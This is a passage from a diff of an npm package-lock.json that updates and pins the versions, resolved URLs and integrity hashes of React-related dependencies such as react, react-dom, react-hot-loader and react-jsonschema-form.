"sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", "dev": true, "requires": { - "safe-buffer": "^5.1.0" + "safe-buffer": "5.1.1" } }, "randomfill": { @@ -14419,8 +15733,8 @@ "integrity": "sha512-87lcbR8+MhcWcUiQ+9e+Rwx8MyR2P7qnt15ynUlbm3TU/fjbgz4GsvfSUDTemtCCtVCqb4ZcEFlyPNTh9bBTLw==", "dev": true, "requires": { - "randombytes": "^2.0.5", - "safe-buffer": "^5.1.0" + "randombytes": "2.1.0", + "safe-buffer": "5.1.1" } }, "range-parser": { @@ -14430,46 +15744,45 @@ "dev": true }, "raw-body": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.3.tgz", - "integrity": "sha512-9esiElv1BrZoI3rCDuOuKCBRbuApGGaDPQfjSflGxdy4oyzqghxu6klEkkVIvBje+FF0BX9coEv8KqW6X/7njw==", + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", + "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", "dev": true, "requires": { - "bytes": "3.0.0", - "http-errors": "1.6.3", - "iconv-lite": "0.4.23", + "bytes": "3.1.0", + "http-errors": "1.7.2", + "iconv-lite": "0.4.24", "unpipe": "1.0.0" }, "dependencies": { "iconv-lite": { - "version": "0.4.23", - "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.23.tgz", - "integrity": "sha512-neyTUVFtahjf0mB3dZT77u+8O0QB89jFdnBkd5P1JgYPbPaia3gXXOVL2fq8VyU2gMMD7SaN7QukTB/pmXYvDA==", + "version": "0.4.24", + "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.24.tgz", + "integrity": "sha512-v3MXnZAcvnywkTUEZomIActle7RXXeedOR31wwl7VlyoXO4Qi9arvSenNQWne1TcRwhCL1HwLI21bEqdpj8/rA==", "dev": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": "2.1.2" } } } }, "rc-progress": { - "version": "2.2.6", - "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.2.6.tgz", - "integrity": "sha512-73Ul9WrWf474q0ze+XblpcR8q2No0tybHt+zdGXYyQ7fUZy4b+I5dUQcoxr9UXY6W5Ele9ZsPWJWHSDz/IAOUw==", + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/rc-progress/-/rc-progress-2.5.2.tgz", + "integrity": "sha512-ajI+MJkbBz9zYDuE9GQsY5gsyqPF7HFioZEDZ9Fmc+ebNZoiSeSJsTJImPFCg0dW/5WiRGUy2F69SX1aPtSJgA==", "requires": { - "babel-runtime": "6.x", - "prop-types": "^15.5.8" + "babel-runtime": "6.25.0", + "prop-types": "15.7.2" } }, "react": { - "version": "16.6.3", - "resolved": "https://registry.npmjs.org/react/-/react-16.6.3.tgz", - "integrity": "sha512-zCvmH2vbEolgKxtqXL2wmGCUxUyNheYn/C+PD1YAjfxHC54+MhdruyhO7QieQrYsYeTxrn93PM2y0jRH1zEExw==", + "version": "16.12.0", + "resolved": "https://registry.npmjs.org/react/-/react-16.12.0.tgz", + "integrity": "sha512-fglqy3k5E+81pA8s+7K0/T3DBCF0ZDOher1elBFzF7O6arXJgzyu/FW+COxFvAWXJoJN9KIZbT2LXlukwphYTA==", "requires": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "prop-types": "^15.6.2", - "scheduler": "^0.11.2" + "loose-envify": "1.3.1", + "object-assign": "4.1.1", + "prop-types": "15.7.2" } }, "react-addons-test-utils": { @@ -14483,10 +15796,10 @@ "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.5.3.tgz", "integrity": "sha1-OFjyTpxN2MvT9wLz901YHKKRcmk=", "requires": { - "base16": "^1.0.0", - "lodash.curry": "^4.0.1", - "lodash.flow": "^3.3.0", - "pure-color": "^1.2.0" + "base16": "1.0.0", + "lodash.curry": "4.1.1", + "lodash.flow": "3.5.0", + "pure-color": "1.3.0" } }, "react-bootstrap": { @@ -14494,18 +15807,18 @@ "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-0.32.4.tgz", "integrity": "sha512-xj+JfaPOvnvr3ow0aHC7Y3HaBKZNR1mm361hVxVzVX3fcdJNIrfiodbQ0m9nLBpNxiKG6FTU2lq/SbTDYT2vew==", "requires": { - "@babel/runtime-corejs2": "^7.0.0", - "classnames": "^2.2.5", - "dom-helpers": "^3.2.0", - "invariant": "^2.2.4", - "keycode": "^2.2.0", - "prop-types": "^15.6.1", - "prop-types-extra": "^1.0.1", - "react-overlays": "^0.8.0", - "react-prop-types": "^0.4.0", - "react-transition-group": "^2.0.0", - "uncontrollable": "^5.0.0", - "warning": "^3.0.0" + "@babel/runtime-corejs2": "7.7.4", + "classnames": "2.2.6", + "dom-helpers": "3.4.0", + "invariant": "2.2.4", + "keycode": "2.2.0", + "prop-types": "15.7.2", + "prop-types-extra": "1.1.0", + "react-overlays": "0.8.3", + "react-prop-types": "0.4.0", + "react-transition-group": "2.9.0", + "uncontrollable": "5.1.0", + "warning": "3.0.0" }, "dependencies": { "invariant": { @@ -14513,18 +15826,18 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } }, "react-copy-to-clipboard": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.1.tgz", - "integrity": "sha512-ELKq31/E3zjFs5rDWNCfFL4NvNFQvGRoJdAKReD/rUPA+xxiLPQmZBZBvy2vgH7V0GE9isIQpT9WXbwIVErYdA==", + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/react-copy-to-clipboard/-/react-copy-to-clipboard-5.0.2.tgz", + "integrity": "sha512-/2t5mLMMPuN5GmdXo6TebFa8IoFxZ+KTDDqYhcDm0PhkgEzSxVvIX26G20s1EB02A4h2UZgwtfymZ3lGJm0OLg==", "requires": { - "copy-to-clipboard": "^3", - "prop-types": "^15.5.8" + "copy-to-clipboard": "3.2.0", + "prop-types": "15.7.2" } }, "react-data-components": { @@ -14532,8 +15845,8 @@ "resolved": "https://registry.npmjs.org/react-data-components/-/react-data-components-1.2.0.tgz", "integrity": "sha512-nJPAYBDDduBeyTp9r+cDY5P3ZSLQLyvBZHXDPEKWrUwu5GxkcrWxWzB8LfQsWIRxi2HzF4H1njcj1IHlV2jmRA==", "requires": { - "lodash": "^4.13.1", - "prop-types": "^15.5.10" + "lodash": "4.17.10", + "prop-types": "15.7.2" } }, "react-desktop-notification": { @@ -14549,18 +15862,18 @@ "resolved": "https://registry.npmjs.org/react-dimensions/-/react-dimensions-1.3.1.tgz", "integrity": "sha512-go5vMuGUxaB5PiTSIk+ZfAxLbHwcIgIfLhkBZ2SIMQjaCgnpttxa30z5ijEzfDjeOCTGRpxvkzcmE4Vt4Ppvyw==", "requires": { - "element-resize-event": "^2.0.4" + "element-resize-event": "2.0.9" } }, "react-dom": { - "version": "16.6.3", - "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.6.3.tgz", - "integrity": "sha512-8ugJWRCWLGXy+7PmNh8WJz3g1TaTUt1XyoIcFN+x0Zbkoz+KKdUyx1AQLYJdbFXjuF41Nmjn5+j//rxvhFjgSQ==", + "version": "16.12.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-16.12.0.tgz", + "integrity": "sha512-LMxFfAGrcS3kETtQaCkTKjMiifahaMySFDn71fZUNpPHZQEzmk/GiAeIT8JSOrHB23fnuCOMruL2a8NYlw+8Gw==", "requires": { - "loose-envify": "^1.1.0", - "object-assign": "^4.1.1", - "prop-types": "^15.6.2", - "scheduler": "^0.11.2" + "loose-envify": "1.3.1", + "object-assign": "4.1.1", + "prop-types": "15.7.2", + "scheduler": "0.18.0" } }, "react-event-timeline": { @@ -14569,7 +15882,7 @@ "integrity": "sha512-hMGhC9/Xx3sPF/TSlMCA13hZm/2c5CvBxbkDM7bQ4yq6VJ6AmhjqKPnU6/3nVmWUGpK3YqhHb95OiqulxVD3Eg==", "dev": true, "requires": { - "prop-types": "^15.6.0" + "prop-types": "15.7.2" } }, "react-fa": { @@ -14577,8 +15890,8 @@ "resolved": "https://registry.npmjs.org/react-fa/-/react-fa-5.0.0.tgz", "integrity": "sha512-pBEJigNkDJPAP/P9mQXT55VbJbbtwqi4ayieXuFvGpd+gl3aZ9IbjjVKJihdhdysJP0XRgrSa3sT3yOmkQi8wQ==", "requires": { - "font-awesome": "^4.3.0", - "prop-types": "^15.5.8" + "font-awesome": "4.7.0", + "prop-types": "15.7.2" } }, "react-filepond": { @@ -14587,16 +15900,21 @@ "integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw==" }, "react-graph-vis": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz", - "integrity": "sha512-qVFWtvLVJgnYGtpOPHtg1RIW4xNm9Hd4GXgJy1IYrlYZYkOQW0snSOMr24c6R8Vcad1oU70iqgKR381GDDwrBA==", + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.5.tgz", + "integrity": "sha512-y7+eHcwj7GryRoY+ZawwsDmS8OMeJ8Gpzmzejqwz+T2qg6IYTk1bod42H5g3J2zzHcPaqAZpwxZG3d3YB4nBwQ==", "requires": { - "lodash": "^4.17.4", - "prop-types": "^15.5.10", - "uuid": "^2.0.1", - "vis": "^4.18.1" + "lodash": "4.17.15", + "prop-types": "15.7.2", + "uuid": "2.0.3", + "vis-network": "5.4.1" }, "dependencies": { + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" + }, "uuid": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", @@ -14605,17 +15923,68 @@ } }, "react-hot-loader": { - "version": "4.3.11", - "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.3.11.tgz", - "integrity": "sha512-T0G5jURyTsFLoiW6MTr5Q35UHC/B2pmYJ7+VBjk8yMDCEABRmCGy4g6QwxoB4pWg4/xYvVTa/Pbqnsgx/+NLuA==", + "version": "4.12.18", + "resolved": "https://registry.npmjs.org/react-hot-loader/-/react-hot-loader-4.12.18.tgz", + "integrity": "sha512-qYD0Qi9lIbg9jLyfmodfqvAQqCBsoPKxAhca8Nxvy2/2pO5Q9r2kM28jN0bbbSnhwK8dJ7FjsfVtXKOxMW+bqw==", "dev": true, "requires": { - "fast-levenshtein": "^2.0.6", - "global": "^4.3.0", - "hoist-non-react-statics": "^2.5.0", - "prop-types": "^15.6.1", - "react-lifecycles-compat": "^3.0.4", - "shallowequal": "^1.0.2" + "fast-levenshtein": "2.0.6", + "global": "4.4.0", + "hoist-non-react-statics": "3.3.1", + "loader-utils": "1.2.3", + "prop-types": "15.7.2", + "react-lifecycles-compat": "3.0.4", + "shallowequal": "1.1.0", + "source-map": "0.7.3" + }, + "dependencies": { + "big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "dev": true + }, + "hoist-non-react-statics": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz", + "integrity": "sha512-wbg3bpgA/ZqWrZuMOeJi8+SKMhr7X9TesL/rXMjTzh0p0JUBo3II8DHboYbuIXWRlttrUFxwcu/5kygrCw8fJw==", + "dev": true, + "requires": { + "react-is": "16.12.0" + } + }, + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "dev": true, + "requires": { + "minimist": "1.2.0" + } + }, + "loader-utils": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz", + "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==", + "dev": true, + "requires": { + "big.js": "5.2.2", + "emojis-list": "2.1.0", + "json5": "1.0.1" + } + }, + "react-is": { + "version": "16.12.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.12.0.tgz", + "integrity": "sha512-rPCkf/mWBtKc97aLL9/txD8DZdemK0vkA3JMLShjlJB3Pj3s+lpf1KaBzMfQrAmhMQB0n1cU/SUGgKKBCe837Q==", + "dev": true + }, + "source-map": { + "version": "0.7.3", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", + "integrity": "sha512-CkCj6giN3S+n9qrYiBTX5gystlENnRW5jZeNLHpe6aue+SrHcG5VYwujhW9s4dY31mEGsxBDrHR6oI69fTXsaQ==", + "dev": true + } } }, "react-is": { @@ -14624,51 +15993,74 @@ "integrity": "sha512-u7FDWtthB4rWibG/+mFbVd5FvdI20yde86qKGx4lVUTWmPlSWQ4QxbBIrrs+HnXGbxOUlUzTAP/VDmvCwaP2yA==" }, "react-json-tree": { - "version": "0.11.0", - "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.0.tgz", - "integrity": "sha1-9bF+gzKanHauOL5cBP2jp/1oSjU=", + "version": "0.11.2", + "resolved": "https://registry.npmjs.org/react-json-tree/-/react-json-tree-0.11.2.tgz", + "integrity": "sha512-aYhUPj1y5jR3ZQ+G3N7aL8FbTyO03iLwnVvvEikLcNFqNTyabdljo9xDftZndUBFyyyL0aK3qGO9+8EilILHUw==", "requires": { - "babel-runtime": "^6.6.1", - "prop-types": "^15.5.8", - "react-base16-styling": "^0.5.1" + "babel-runtime": "6.25.0", + "prop-types": "15.7.2", + "react-base16-styling": "0.5.3" } }, "react-jsonschema-form": { - "version": "1.0.6", - "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.0.6.tgz", - "integrity": "sha512-F6441MjApWHiFU/98T+fM19kBP9Ib0b3GMOB5DNyXnfMYC35CLwaANeZsTHug0HAmXGxgG+caPZSxgJSAyPz1Q==", + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/react-jsonschema-form/-/react-jsonschema-form-1.8.0.tgz", + "integrity": "sha512-3rZZ1tCG+vtXRXEdX751t5L1c1TUGk1pvSY/4LzBrUo5FlwulnwJpkosE4BqwSRxvfMckP8YoHFQV4KjzaHGgQ==", "requires": { - "ajv": "^5.2.3", - "babel-runtime": "^6.26.0", - "core-js": "^2.5.7", - "lodash.topath": "^4.5.2", - "prop-types": "^15.5.8" + "@babel/runtime-corejs2": "7.6.0", + "ajv": "6.10.2", + "core-js": "2.6.10", + "lodash": "4.17.15", + "prop-types": "15.7.2", + "react-is": "16.9.0", + "react-lifecycles-compat": "3.0.4", + "shortid": "2.2.15" }, "dependencies": { - "ajv": { - "version": "5.5.2", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-5.5.2.tgz", - "integrity": "sha1-c7Xuyj+rZT49P5Qis0GtQiBdyWU=", + "@babel/runtime-corejs2": { + "version": "7.6.0", + "resolved": "https://registry.npmjs.org/@babel/runtime-corejs2/-/runtime-corejs2-7.6.0.tgz", + "integrity": "sha512-zbPQzlbyJab2xCYb6VaESn8Tk/XiVpQJU7WvIKiQCwlFyc2NSCzKjqtBXCvpZBbiTOHCx10s2656REVnySwb+A==", "requires": { - "co": "^4.6.0", - "fast-deep-equal": "^1.0.0", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.3.0" + "core-js": "2.6.10", + "regenerator-runtime": "0.13.3" } }, - "babel-runtime": { - "version": "6.26.0", - "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz", - "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", + "ajv": { + "version": "6.10.2", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz", + "integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==", "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" } }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=" + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "lodash": { + "version": "4.17.15", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz", + "integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A==" + }, + "react-is": { + "version": "16.9.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.9.0.tgz", + "integrity": "sha512-tJBzzzIgnnRfEm046qRcURvwQnZVXmuCbscxUO5RWrGTXpon2d4c8mI0D8WE6ydVIm29JiLB6+RslkIvym9Rjw==" + }, "regenerator-runtime": { - "version": "0.11.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.11.1.tgz", - "integrity": "sha512-MguG95oij0fC3QV3URf4V2SDYGJhJnJGqvIIgdECeODCT98wSWDAJ94SSuVpYQUoTcGUIL6L4yNB7j1DFFHSBg==" + "version": "0.13.3", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz", + "integrity": "sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw==" } } }, @@ -14677,25 +16069,17 @@ "resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz", "integrity": "sha512-fBASbA6LnOU9dOU2eW7aQ8xmYBSXUIWr+UmF9b1efZBazGNO+rcXT/icdKnYm2pTwcRylVUYwW7H1PHfLekVzA==" }, - "react-minimalist-portal": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/react-minimalist-portal/-/react-minimalist-portal-2.3.1.tgz", - "integrity": "sha1-SFPj9Ip0oywbh2dgGIfN95Qe66M=", - "requires": { - "prop-types": "^15.6.1" - } - }, "react-overlays": { "version": "0.8.3", "resolved": "https://registry.npmjs.org/react-overlays/-/react-overlays-0.8.3.tgz", "integrity": "sha512-h6GT3jgy90PgctleP39Yu3eK1v9vaJAW73GOA/UbN9dJ7aAN4BTZD6793eI1D5U+ukMk17qiqN/wl3diK1Z5LA==", "requires": { - "classnames": "^2.2.5", - "dom-helpers": "^3.2.1", - "prop-types": "^15.5.10", - "prop-types-extra": "^1.0.1", - "react-transition-group": "^2.2.0", - "warning": "^3.0.0" + "classnames": "2.2.6", + "dom-helpers": "3.4.0", + "prop-types": "15.7.2", + "prop-types-extra": "1.1.0", + "react-transition-group": "2.9.0", + "warning": "3.0.0" } }, "react-prop-types": { @@ -14703,29 +16087,36 @@ "resolved": "https://registry.npmjs.org/react-prop-types/-/react-prop-types-0.4.0.tgz", "integrity": "sha1-+ZsL+0AGkpya8gUefBQUpcdbk9A=", "requires": { - "warning": "^3.0.0" + "warning": "3.0.0" } }, "react-redux": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.1.1.tgz", - "integrity": "sha512-LE7Ned+cv5qe7tMV5BPYkGQ5Lpg8gzgItK07c67yHvJ8t0iaD9kPFPAli/mYkiyJYrs2pJgExR2ZgsGqlrOApg==", + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.1.2.tgz", + "integrity": "sha512-Ns1G0XXc8hDyH/OcBHOxNgQx9ayH3SPxBnFCOidGKSle8pKihysQw2rG/PmciUQRoclhVBO8HMhiRmGXnDja9Q==", "requires": { - "@babel/runtime": "^7.1.2", - "hoist-non-react-statics": "^3.1.0", - "invariant": "^2.2.4", - "loose-envify": "^1.1.0", - "prop-types": "^15.6.1", - "react-is": "^16.6.0", - "react-lifecycles-compat": "^3.0.0" + "@babel/runtime": "7.1.5", + "hoist-non-react-statics": "3.3.1", + "invariant": "2.2.4", + "loose-envify": "1.3.1", + "prop-types": "15.7.2", + "react-is": "16.6.3", + "react-lifecycles-compat": "3.0.4" }, "dependencies": { "hoist-non-react-statics": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.1.0.tgz", - "integrity": "sha512-MYcYuROh7SBM69xHGqXEwQqDux34s9tz+sCnxJmN18kgWh6JFdTw/5YdZtqsOdZJXddE/wUpCzfEdDrJj8p0Iw==", + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.1.tgz", + "integrity": "sha512-wbg3bpgA/ZqWrZuMOeJi8+SKMhr7X9TesL/rXMjTzh0p0JUBo3II8DHboYbuIXWRlttrUFxwcu/5kygrCw8fJw==", "requires": { - "react-is": "^16.3.2" + "react-is": "16.12.0" + }, + "dependencies": { + "react-is": { + "version": "16.12.0", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.12.0.tgz", + "integrity": "sha512-rPCkf/mWBtKc97aLL9/txD8DZdemK0vkA3JMLShjlJB3Pj3s+lpf1KaBzMfQrAmhMQB0n1cU/SUGgKKBCe837Q==" + } } }, "invariant": { @@ -14733,7 +16124,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } @@ -14743,13 +16134,13 @@ "resolved": "https://registry.npmjs.org/react-router/-/react-router-4.3.1.tgz", "integrity": "sha512-yrvL8AogDh2X42Dt9iknk4wF4V8bWREPirFfS9gLU1huk6qK41sg7Z/1S81jjTrGHxa3B8R3J6xIkDAA6CVarg==", "requires": { - "history": "^4.7.2", - "hoist-non-react-statics": "^2.5.0", - "invariant": "^2.2.4", - "loose-envify": "^1.3.1", - "path-to-regexp": "^1.7.0", - "prop-types": "^15.6.1", - "warning": "^4.0.1" + "history": "4.7.2", + "hoist-non-react-statics": "2.5.5", + "invariant": "2.2.4", + "loose-envify": "1.3.1", + "path-to-regexp": "1.7.0", + "prop-types": "15.7.2", + "warning": "4.0.2" }, "dependencies": { "invariant": { @@ -14757,7 +16148,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } }, "path-to-regexp": { @@ -14773,7 +16164,7 @@ "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.2.tgz", "integrity": "sha512-wbTp09q/9C+jJn4KKJfJfoS6VleK/Dti0yqWSm6KMvJ4MRCXFQNapHuJXutJIrWV0Cf4AhTdeIe4qdKHR1+Hug==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } @@ -14783,12 +16174,12 @@ "resolved": "https://registry.npmjs.org/react-router-dom/-/react-router-dom-4.3.1.tgz", "integrity": "sha512-c/MlywfxDdCp7EnB7YfPMOfMD3tOtIjrQlj/CKfNMBxdmpJP8xcz5P/UAFn3JbnQCNUxsHyVVqllF9LhgVyFCA==", "requires": { - "history": "^4.7.2", - "invariant": "^2.2.4", - "loose-envify": "^1.3.1", - "prop-types": "^15.6.1", - "react-router": "^4.3.1", - "warning": "^4.0.1" + "history": "4.7.2", + "invariant": "2.2.4", + "loose-envify": "1.3.1", + "prop-types": "15.7.2", + "react-router": "4.3.1", + "warning": "4.0.2" }, "dependencies": { "invariant": { @@ -14796,7 +16187,7 @@ "resolved": "https://registry.npmjs.org/invariant/-/invariant-2.2.4.tgz", "integrity": "sha512-phJfQVBuaJM5raOpJjSfkiD6BpbCE4Ns//LaXl6wGYtUBY83nWS6Rf9tXm2e8VaK60JEjYldbPif/A2B1C2gNA==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } }, "warning": { @@ -14804,55 +16195,54 @@ "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.2.tgz", "integrity": "sha512-wbTp09q/9C+jJn4KKJfJfoS6VleK/Dti0yqWSm6KMvJ4MRCXFQNapHuJXutJIrWV0Cf4AhTdeIe4qdKHR1+Hug==", "requires": { - "loose-envify": "^1.0.0" + "loose-envify": "1.3.1" } } } }, "react-spinners": { - "version": "0.5.4", - "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.5.4.tgz", - "integrity": "sha512-jo7BE8prvnZNL7xNrQL16geVXH6LmaWrhvvXnmUwz2MhFO14bhlAdCLuKCwqmUJ37kGphH0C2CJRThwkjfpVzw==", + "version": "0.5.13", + "resolved": "https://registry.npmjs.org/react-spinners/-/react-spinners-0.5.13.tgz", + "integrity": "sha512-zrQTWlyhqs+3nQ4Zpg19eW4elYQgrrvu0fXL1tIP3CKgLBxkO+rmXdL8l34qTHrpDZnukMFGLxyqQebijeVSJA==", "requires": { - "@emotion/core": "^10.0.4", - "prop-types": "^15.5.10", - "recompose": "0.27.1 - 0.30.0" + "@emotion/core": "10.0.22", + "prop-types": "15.7.2", + "recompose": "0.30.0" } }, "react-table": { - "version": "6.8.6", - "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.6.tgz", - "integrity": "sha1-oK2LSDkxkFLVvvwBJgP7Fh5S7eM=", + "version": "6.10.3", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.10.3.tgz", + "integrity": "sha512-sVlq2/rxVaQJywGD95+qGiMr/SMHFIFnXdx619BLOWE/Os5FOGtV6pQJNAjZixbQZiOu7dmBO1kME28uxh6wmA==", "requires": { - "classnames": "^2.2.5" + "classnames": "2.2.6" } }, "react-toggle": { - "version": "4.0.2", - "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.0.2.tgz", - "integrity": "sha512-EPTWnN7gQHgEAUEmjheanZXNzY5TPnQeyyHfEs3YshaiWZf5WNjfYDrglO5F1Hl/dNveX18i4l0grTEsYH2Ccw==", + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.1.tgz", + "integrity": "sha512-+wXlMcSpg8SmnIXauMaZiKpR+r2wp2gMUteroejp2UTSqGTVvZLN+m9EhMzFARBKEw7KpQOwzCyfzeHeAndQGw==", "requires": { - "classnames": "^2.2.5" + "classnames": "2.2.6" } }, "react-tooltip-lite": { - "version": "1.9.1", - "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.9.1.tgz", - "integrity": "sha512-JH5T6kPZn7X90TnnNhuJ+wOb1eikT2xtpbOkndvqAHZlOyZOAZeAyVgk/3pGz0xi4h+bqXXisfwGtriliTYhDQ==", + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/react-tooltip-lite/-/react-tooltip-lite-1.10.0.tgz", + "integrity": "sha512-M4n6lGUWTrK2ngv2yDfVGnhO0EYoj5n3GNgKuZLYAK8q3jBbFK7Cj4tJNB6AtLgGlifL+y2TJ9LWWT2E3YKzhg==", "requires": { - "prop-types": "^15.5.8", - "react-minimalist-portal": "^2.2.0" + "prop-types": "15.7.2" } }, "react-transition-group": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.8.0.tgz", - "integrity": "sha512-So23a1MPn8CGoW5WNU4l0tLiVkOFmeXSS1K4Roe+dxxqqHvI/2XBmj76jx+u96LHnQddWG7LX8QovPAainSmWQ==", + "version": "2.9.0", + "resolved": "https://registry.npmjs.org/react-transition-group/-/react-transition-group-2.9.0.tgz", + "integrity": "sha512-+HzNTCHpeQyl4MJ/bdE0u6XRMe9+XG/+aL4mCxVN4DnPBQ0/5bfHWPDuOZUzYdMj94daZaZdCCc1Dzt9R/xSSg==", "requires": { - 